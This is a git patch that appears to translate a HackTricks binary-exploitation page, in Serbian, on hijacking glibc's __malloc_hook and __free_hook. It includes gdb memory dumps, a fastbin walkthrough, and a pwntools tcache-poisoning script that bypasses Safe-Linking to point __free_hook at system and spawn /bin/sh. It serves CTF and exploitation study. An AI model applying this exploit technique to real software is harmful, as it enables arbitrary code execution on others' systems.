From d20538434161eed07f86fa1098cdaba759d4a501 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 18:15:48 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma --- .../aw2exec-__malloc_hook.md | 83 +++++++++++++++++-- 1 file changed, 74 insertions(+), 9 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index cd09d7f64..fd8cacdc6 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,12 +1,12 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** -Kao što možete videti na [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), promenljiva **`__malloc_hook`** je pokazivač koji pokazuje na **adresu funkcije koja će biti pozvana** svaki put kada se pozove `malloc()` **smeštena u sekciji podataka libc biblioteke**. Stoga, ako se ova adresa prepiše sa **One Gadget**, na primer, i pozove se `malloc`, **One Gadget će biti pozvan**. +Kao što možete videti na [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), promenljiva **`__malloc_hook`** je pokazivač koji pokazuje na **adresu funkcije koja će biti pozvana** svaki put kada se pozove `malloc()`, **smeštena u sekciji podataka libc biblioteke**. Stoga, ako se ova adresa prepiše sa **One Gadget**, na primer, i pozove se `malloc`, **One Gadget će biti pozvan**. -Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivom `printf("%10000$c")`** koji alocira previše bajtova, čime `libc` poziva malloc da ih alocira na heap-u. +Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivajući `printf("%10000$c")**, što alocira previše bajtova, čime `libc` poziva malloc da ih alocira na heap-u. Više informacija o One Gadget-u u: @@ -19,7 +19,7 @@ Više informacija o One Gadget-u u: ## Free Hook -Ovo je zloupotrebljeno u jednom od primera sa stranice koja zloupotrebljava napad na brzi bin nakon što je zloupotrebljen napad na neusmereni bin: +Ovo je zloupotrebljeno u jednom od primera sa stranice koja je zloupotrebljavala napad na brzi bin nakon što je zloupotrebljen napad na neusortirani bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md @@ -29,7 +29,7 @@ Moguće je pronaći adresu `__free_hook` ako binarni fajl ima simbole sa sledeć ```bash gef➤ p &__free_hook ``` -[U postu](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao sažetak, u funkciji free: +[U postu](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao rezime, u funkciji free:
gef➤  x/20i free
 0xf75dedc0 : push   ebx
@@ -56,15 +56,80 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena. -- Za to se kreira novi chunk veličine `0xfc` i spojena funkcija se poziva sa tim pokazivačem dva puta, na ovaj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u. -- Zatim se poziva funkcija za uređivanje u ovom chunk-u da bi se modifikovao **`fd`** adresu ovog fast bin-a da pokazuje na prethodnu **`__free_hook`** funkciju. -- Zatim se kreira chunk veličine `0x1f8` da bi se povukao prethodni beskorisni chunk iz fast bin-a, tako da se kreira još jedan chunk veličine `0x1f8` da bi se dobio fast bin chunk u **`__free_hook`** koji se prepisuje sa adresom funkcije **`system`**. +- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena +- Za to se kreira novi chunk veličine `0xfc` i spojena funkcija se poziva sa tim pokazivačem dva puta, na taj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u. +- Zatim se poziva funkcija za izmenu u ovom chunk-u da bi se modifikovao **`fd`** adresu ovog fast bin-a da pokazuje na prethodnu **`__free_hook`** funkciju. +- Nakon toga se kreira chunk veličine `0x1f8` da bi se povukao prethodni beskorisni chunk iz fast bin-a, tako da se kreira još jedan chunk veličine `0x1f8` da bi se dobio fast bin chunk u **`__free_hook`** koji se prepisuje adresom funkcije **`system`**. - I konačno, chunk koji sadrži string `/bin/sh\x00` se oslobađa pozivom funkcije za brisanje, aktivirajući **`__free_hook`** funkciju koja pokazuje na system sa `/bin/sh\x00` kao parametrom. +--- + +## Tcache trovanje & Safe-Linking (glibc 2.32 – 2.33) + +glibc 2.32 je uveo **Safe-Linking** – proveru integriteta koja štiti *jednostruko*-povezane liste korišćene od strane **tcache** i fast-bins. Umesto da čuva sirovi forward pokazivač (`fd`), ptmalloc sada čuva *obfuskovan* sa sledećom makro: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +Posledice za eksploataciju: + +1. **heap leak** je obavezan – napadač mora znati runtime vrednost `chunk_addr >> 12` da bi kreirao važeći obfuscated pokazivač. +2. Samo *puni* 8-bajtni pokazivač može biti falsifikovan; delimična prepisivanja jednog bajta neće proći proveru. + +Minimalni tcache-poisoning primitiv koji prepisuje `__free_hook` na glibc 2.32/2.33 izgleda ovako: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`. + +--- + +## Šta se promenilo u glibc ≥ 2.34? + +Počevši od **glibc 2.34 (avgust 2021)**, alokacione hook-ove `__malloc_hook`, `__realloc_hook`, `__memalign_hook` i `__free_hook` su **uklonjeni iz javnog API-ja i više ih ne poziva alokator**. Simboli za kompatibilnost su i dalje dostupni za nasleđene binarne datoteke, ali njihovo prepisivanje više ne utiče na kontrolni tok `malloc()` ili `free()`. + +Praktična implikacija: na modernim distribucijama (Ubuntu 22.04+, Fedora 35+, Debian 12, itd.) morate preći na *druge* hijack primitivne (IO-FILE, `__run_exit_handlers`, vtable spraying, itd.) jer će prepisivanje hook-ova tiho propasti. + +Ako vam je još uvek potrebno staro ponašanje za debagovanje, glibc isporučuje `libc_malloc_debug.so` koji se može prethodno učitati da ponovo omogući nasleđene hook-ove – ali biblioteka **nije namenjena za produkciju i može nestati u budućim izdanjima**. + +--- + ## Reference - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – Eliminisanje 20 godina starog malloc() exploit primitva (Check Point Research, 2020) +- glibc 2.34 beleške o izdanju – uklanjanje malloc hook-ova {{#include ../../banners/hacktricks-training.md}}